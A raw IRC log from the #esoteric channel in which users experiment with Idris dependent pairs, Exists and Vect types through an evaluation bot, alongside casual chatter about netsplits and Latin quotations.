PRIVMSG #esoteric :( (\(v : Vect _ _) => let (n ** _) = the (m ** Vect m _) (_ ** v) in n) [1,2,3] < 1394840202 65793 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:3: error: expected: lambda expression < 1394840202 178263 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(\(v : Vect _ _) => let (n ** _) = the (m ** Vect m _) (_ ** v) in n) [1,2,3]<> < 1394840202 234250 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : ^ < 1394840204 917988 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :) 3 < 1394840205 432019 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :FreeFull: 3 < 1394840208 106914 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :A < 1394840219 726399 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :} 3 < 1394840221 864616 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok i'm clearly not understanding this < 1394840225 465902 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :} is free < 1394840244 364235 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^prefixes < 1394840244 476261 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot ! < 1394840255 749113 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :FreeFull: because that is finally now matchin hth < 1394840260 395695 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*+g < 1394840280 240646 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :( is a weird prefix though < 1394840280 353575 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable is < 1394840288 806284 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :( exists < 1394840290 349988 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1:No such variable exists < 1394840307 976215 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION glares angrily at Quassel < 1394840318 983198 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( Exists < 1394840319 440171 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Exists : (13a : 12Type) -> (13a -> 12Type) -> 12Type < 1394840330 77853 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( Ex_intro < 1394840330 589337 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):0:0:Incomplete term 04Ex_intro < 1394840337 32503 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( :t Ex_intro < 1394840337 380181 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Ex_intro : (13x : 13a) -> (13P 13x) -> 12Exists 13a 13P < 1394840392 136767 :erdic_!erdic@2604:180::6050:fab4 JOIN :#esoteric < 1394840412 987941 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( let data Foo = Bar | Baz in Foo < 1394840413 664617 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:5: error: expected: expression < 1394840413 721983 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :let data Foo = Bar | Baz in Foo < 1394840413 722179 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : ^ < 1394840419 55759 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :aww < 1394840428 404627 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Isn't there a language that allows local data definitions? < 1394840448 507467 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Remove the let < 1394840465 485726 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :( data Foo = Bar | Baz < 1394840465 598348 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: ":", < 1394840465 749211 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : end of input, operator < 1394840465 804842 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :data Foo = Bar | Baz < 1394840465 805004 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1394840476 301987 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Hmm, maybe not < 1394840674 11945 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :*.net *.split < 1394840674 306291 :erdic!erdic@unaffiliated/motley QUIT :*.net *.split < 1394840675 371679 :glogbackup!~glogbacku@192.3.160.190 QUIT :*.net *.split < 1394840675 371816 :Slereahphone!~slereahph@193.253.170.149 QUIT :*.net *.split < 1394840675 371885 :FireFly!~firefly@oftn/member/FireFly QUIT :*.net *.split < 1394840704 886185 :erdic_!erdic@2604:180::6050:fab4 QUIT :Changing host < 1394840704 940961 :erdic_!erdic@unaffiliated/motley JOIN :#esoteric < 1394840991 998220 :mysanthrop!~myname@84.200.43.57 JOIN :#esoteric < 1394841016 993100 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (a ** b) (5 ** "Hi") < 1394841047 204875 :atehwa_!atehwa@aulis.sange.fi JOIN :#esoteric < 1394841050 148545 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :? < 1394841061 680460 :erdic!erdic@2604:180::6050:fab4 JOIN :#esoteric < 1394841090 197325 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394841100 511879 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( 1 + 1 < 1394841203 874832 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: Sgeo_ killed yer bot hth < 1394841241 992601 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( "hi" < 1394841264 152901 :fizzie`!fis@unaffiliated/fizzie JOIN :#esoteric < 1394841282 628260 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :just because we don't feel flesh doesn't mean we don't fear death < 1394841354 30150 :erdic_!erdic@unaffiliated/motley QUIT :*.net *.split < 1394841356 812343 :atehwa!atehwa@aulis.sange.fi QUIT :*.net *.split < 1394841356 812476 :Frooxius!~Frooxius@cust-101.ktknet.cz QUIT :*.net *.split < 1394841356 812544 :myname!~myname@84.200.43.57 QUIT :*.net *.split < 1394841356 812613 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :*.net *.split < 1394841356 812677 :trout!root@freebsd/developer/variable QUIT :*.net *.split < 1394841356 812741 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :*.net *.split < 1394841356 812806 :trn!jhj@2600:3c00::f03c:91ff:feae:3efa QUIT :*.net *.split < 1394841356 812871 :fizzie!fis@unaffiliated/fizzie QUIT :*.net *.split < 1394841385 492586 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or not. < 1394841488 482888 :fizzie`!fis@unaffiliated/fizzie NICK :fizzie < 1394841510 81270 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1394841558 48118 :sebbu2!~sebbu@ADijon-152-1-42-203.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1394841590 855942 :sebbu2!~sebbu@ADijon-152-1-42-203.w83-194.abo.wanadoo.fr QUIT :Changing host < 1394841590 911778 :sebbu2!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1394841603 165587 :erdic!erdic@2604:180::6050:fab4 QUIT :Changing host < 1394841603 219217 :erdic!erdic@unaffiliated/motley JOIN :#esoteric < 1394841704 65130 :boily1!~boily@96.127.201.149 JOIN :#esoteric < 1394841728 60671 :tromp__!~tromp@rtc35-245.rentec.com JOIN :#esoteric < 1394841745 321334 :atehwa!atehwa@aulis.sange.fi JOIN :#esoteric < 1394841783 370213 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394841808 224672 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :It timed out, and now it’s in a different net fragment. < 1394841860 369236 :boily1!~boily@96.127.201.149 PRIVMSG #esoteric :~duck melvar < 1394841860 475357 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :General Melvar was the right hand man of Warlord Zsinj. < 1394841872 184926 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :~duck Taneb < 1394841872 287188 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- No relevant information < 1394841873 832199 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::( < 1394841883 598495 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :~duck University of York < 1394841883 711178 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :The University of York (informally York University, or simply York, abbreviated as Ebor. < 1394841915 834337 :boily1!~boily@96.127.201.149 PRIVMSG #esoteric :ebor? < 1394841925 885375 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Short for Eboracum, I presume < 1394841942 736637 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Roman name for York < 1394841957 823507 :sgeoweb!a6890c76@gateway/web/freenode/ip.166.137.12.118 JOIN :#esoteric < 1394841962 298859 :boily1!~boily@96.127.201.149 PRIVMSG #esoteric :~duck eboracum < 1394841962 429303 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :Eboracum was a fort and city in Roman Britain. < 1394841966 643302 :sgeoweb!a6890c76@gateway/web/freenode/ip.166.137.12.118 PRIVMSG #esoteric :hi. afk < 1394842016 668887 :variable!root@freebsd/developer/variable JOIN :#esoteric < 1394842020 713716 :boily1!~boily@96.127.201.149 PRIVMSG #esoteric :as the proverb goes, "Anas non satis accurate in hac nocte..." < 1394842056 621027 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394842056 713474 :trn!jhj@2600:3c00::f03c:91ff:feae:3efa JOIN :#esoteric < 1394842056 713586 :Frooxius!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1394842096 254250 :trn!jhj@2600:3c00::f03c:91ff:feae:3efa QUIT :Max SendQ exceeded < 1394842099 62359 :nortti_!nortti@nano.smar.fi JOIN :#esoteric < 1394842112 409997 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t getWitness < 1394842112 731206 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09getWitness : (12Exists 13a 13P) -> 13a < 1394842117 489582 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t getProof < 1394842117 849854 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09getProof : (13s : 12Exists 13a 13P) -> 13P (09getWitness 13s) < 1394842250 485225 :sebbu!~sebbu@unaffiliated/sebbu QUIT :Ping timeout: 246 seconds < 1394842252 212683 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net NICK :23LAATE3Q < 1394842252 212819 :idris-ircslave!~ircslave@88.78.249.67 JOIN :#esoteric < 1394842252 212890 :atehwa_!atehwa@aulis.sange.fi QUIT :Ping timeout: 246 seconds < 1394842252 212959 :elliott_!~elliott@unaffiliated/elliott QUIT :Ping timeout: 246 seconds < 1394842252 213027 :boily!~boily@96.127.201.149 QUIT :Ping timeout: 246 seconds < 1394842252 213094 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 246 seconds < 1394842256 489542 :idris-ircslave!~ircslave@88.78.249.67 QUIT :Client Quit < 1394842256 489685 :nortti!nortti@nano.smar.fi QUIT :Ping timeout: 246 seconds < 1394842256 489756 :itsy!~digital_w@87.112.13.30 QUIT :Ping timeout: 246 seconds < 1394842256 489823 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 246 seconds < 1394842256 489888 :tromp!~tromp@rtc35-245.rentec.com QUIT :Ping timeout: 246 seconds < 1394842256 489953 :trn!jhj@2600:3c00::f03c:91ff:feae:3efa JOIN :#esoteric < 1394842256 490057 :sgeoweb!a6890c76@gateway/web/freenode/ip.166.137.12.118 PRIVMSG #esoteric :o.o < 1394842261 621543 :sgeoweb!a6890c76@gateway/web/freenode/ip.166.137.12.118 PRIVMSG #esoteric :bye for now < 1394842268 964893 :sgeoweb!a6890c76@gateway/web/freenode/ip.166.137.12.118 QUIT :Quit: Page closed < 1394842275 987288 :boily1!~boily@96.127.201.149 NICK :boily < 1394842281 426637 :Froox!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1394842320 684111 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quousque tandem abutere, boily, latina nostra? < 1394842342 244704 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394842361 663511 :FireFly!~firefly@firefly.xen.prgmr.com JOIN :#esoteric < 1394842369 211623 :23LAATE3Q!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Ping timeout: 240 seconds < 1394842389 658015 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :are we being ddosed again < 1394842419 352487 :Frooxius!~Frooxius@cust-101.ktknet.cz QUIT :Ping timeout: 240 seconds < 1394842490 103025 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1394842495 747601 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: “How long, pray will you abuse boily, the Latin do with us?” ← uhm... wut? < 1394842510 616673 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: thausibly. < 1394842515 133245 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394842531 311457 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :boily, ? < 1394842533 548591 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i just changed a couple words in an _actual_ famous quote fwiw < 1394842558 175542 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: I can't read. I meant to answer oerjan. < 1394842564 725847 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Okay < 1394842567 478602 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(stupid term colours.) < 1394842573 278507 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fancy < 1394842583 45715 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Wouldn't be "our Latin"? < 1394842626 539475 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I don't do the Latin. you can get addicted to it! < 1394842631 704794 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :https://en.wikipedia.org/wiki/Catiline_Orations#Oratio_in_Catilinam_Prima_in_Senatu_Habita < 1394842665 86842 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Taneb: i assume he tried google translate < 1394842702 865785 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Anyway, I have a nine o'clock train. Goodnight < 1394842718 143100 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :bonne nuitaneb! < 1394842727 106786 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good night < 1394842766 193187 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::) < 1394842889 149872 :erdic!erdic@unaffiliated/motley QUIT :Remote host closed the connection < 1394843222 410059 :erdic!erdic@unaffiliated/motley JOIN :#esoteric < 1394843517 191733 :yorick!~yorick@oftn/member/yorick QUIT :Read error: Connection reset by peer < 1394844293 961532 :FireFly!~firefly@firefly.xen.prgmr.com QUIT :Excess Flood < 1394844371 437160 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1394844917 609631 :elliott!~elliott@li278-81.members.linode.com JOIN :#esoteric < 1394844926 330219 :elliott!~elliott@li278-81.members.linode.com QUIT :Client Quit < 1394844941 140408 :elliott!~elliott@unaffiliated/elliott JOIN :#esoteric < 1394845155 811997 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394845361 834228 :metasepia!~metasepia@96.127.201.149 QUIT :Remote host closed the connection < 1394845367 840370 :boily!~boily@96.127.201.149 QUIT :Quit: GALAPAGOS CHICKEN < 1394846177 156906 :erdic!erdic@unaffiliated/motley QUIT :Remote host closed the connection < 1394846211 50835 :erdic!erdic@unaffiliated/motley JOIN :#esoteric < 1394846492 787009 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394846820 175677 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :beware of the topic < 1394846825 419126 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394847273 137197 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The risk is merely topical. < 1394847299 713190 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well but it's particularly high today (tomorrow for you americans) < 1394848085 526887 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394848183 341343 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394849149 710403 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394849160 864882 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394849195 527482 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394849456 589677 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1394850007 636287 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Nite < 1394850171 793664 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Et tu, oerjan? < 1394850470 592200 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394851216 502949 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394851328 561164 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394851540 529912 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1394851644 15245 :nooodl__!~nooodl@91.177.69.110 QUIT :Ping timeout: 255 seconds < 1394851878 754541 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1394852035 440889 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1394853049 110816 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :) 1 + 1 < 1394853049 626992 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: 2 < 1394853052 947529 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( 1 + 1 < 1394853056 892926 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::( < 1394853136 776976 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :^bf +>+[-<+>]<. < 1394853136 897731 :fungot!fis@eos.zem.fi PRIVMSG #esoteric : < 1394853663 775489 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394854351 284863 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :17:14:05 --- nick: idris-ircslave -> 23LAATE3Q < 1394854354 173496 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :What was that about? < 1394854645 508773 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394854748 597770 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394854856 547404 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be QUIT :Ping timeout: 264 seconds < 1394855167 142353 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394855200 578307 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394855451 380616 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394855465 622951 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394855491 673297 :Guest95255!uid21876@gateway/web/irccloud.com/x-jiaehmudzxxzlwbf QUIT :Quit: Connection closed for inactivity < 1394855695 509333 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394855828 572279 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394856070 775613 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394856255 959534 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394856256 471268 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394856607 282483 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1394858749 802292 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394858756 580410 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo: Bogosity due to netsplits and -joins. < 1394858785 547860 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394858930 551858 :nisstyre_!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394859068 516620 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1394859305 555039 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394859360 894427 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (a ** b) (5 ** "hi") < 1394859361 237561 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:11:No such variable b < 1394859380 90843 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (a ** String) (5 ** "hi") < 1394859380 456983 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04(045 04** 04"hi"04) : 12(13a 12** 12String12) < 1394859544 632790 :variable!root@freebsd/developer/variable NICK :trout < 1394859881 998532 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :wat < 1394859996 624889 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :A dependent pair where the proof's type isn't actually dependent on the witness < 1394860068 187903 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Almost wish you could do useful things with Types, make (t ** t) effectively be the typed of runtime-tagged values, practically dynamic typing < 1394860091 828973 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (t ** t) (Int ** 5) < 1394860094 78196 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04(12Int 04** 04504) : 12(13t 12** 13t12) < 1394860270 15800 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Totally useless but heterogeneous vector < 1394860345 653030 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> the (Vect 3 (t ** t)) $ [(Int ** 5), (String ** "Hello"), ((a -> a) ** id)] < 1394860347 34096 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: data constructor `Vect'Not in scope: data c... < 1394860347 144987 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:61:No such variable a < 1394860347 200898 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant one of these: < 1394860347 272033 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `In' (imported from Lambdabot.Plugin.Haskell.Eval.Trusted), < 1394860347 272178 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `InR' (imported from Lambdabot.Plugin.Haskell.Eval.Trusted)Not in scope: d... < 1394860349 932338 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :oops < 1394860371 620351 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (Vect 3 (t ** t)) $ [(Int ** 5), (String ** "Hello"), (({a : Type} -> a -> a) ** id)] < 1394860373 134215 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:25: error: expected: operator < 1394860373 190101 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :the (Vect 3 (t ** t)) $ [(Int ** 5), (String ** "Hello"), (({a : Type} -> a ->> < 1394860373 190242 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : ^ < 1394860395 812976 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (Vect 3 (t ** t)) $ [(Int ** 5), (String ** "Hello"), (((a : Type) -> a -> a) ** the)] < 1394860402 221802 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04[04(12Int 04** 04504)04, 04(12String 04** 04"Hello"04)04, 04((13a124 : 12Type) -> 13a124 -> 13a124 04** 09the04)04] : 12Vect 043 12(13t 12** 13t12) < 1394860424 990345 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :Sgeo: I was mostly puzzled by the unconstrained a variable < 1394860450 697654 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Implies implicit argument < 1394860454 546862 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I believe < 1394860459 441675 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Although ** is syntax sugar < 1394860611 151537 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :[00:56:20] (5 ** "hi") : (a ** String) < 1394860614 736080 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :that < 1394860634 694860 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :( :t 5 < 1394860634 751911 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09fromInteger 045 : 12Integer < 1394860639 567848 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :( :t 5 : a < 1394860639 646239 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: end of input, < 1394860639 646375 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : operator < 1394860639 646466 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric ::t 5 : a < 1394860639 646557 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1394860640 552380 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : parse error (possibly incorrect indentation or mismatched brackets) < 1394860642 831913 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :( :t the a 5 < 1394860642 889412 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:8:No such variable a < 1394860657 610600 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :oh I see < 1394860659 169899 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it's a binder < 1394860676 829795 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :wait, is it? < 1394860682 679903 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :no < 1394860793 460547 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :( Z -- y x < 1394860793 572353 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :040 : 12Nat < 1394861045 484692 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394861156 552004 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394861745 959641 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 JOIN :#esoteric < 1394861899 878558 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1394862025 938793 :Sellyme_!~Sellyme@2605:4d00:0:2::7a JOIN :#esoteric < 1394862080 185096 :Sellyme_!~Sellyme@2605:4d00:0:2::7a NICK :Sellyme < 1394862532 772515 :conehead!~conehead@unaffiliated/conehead 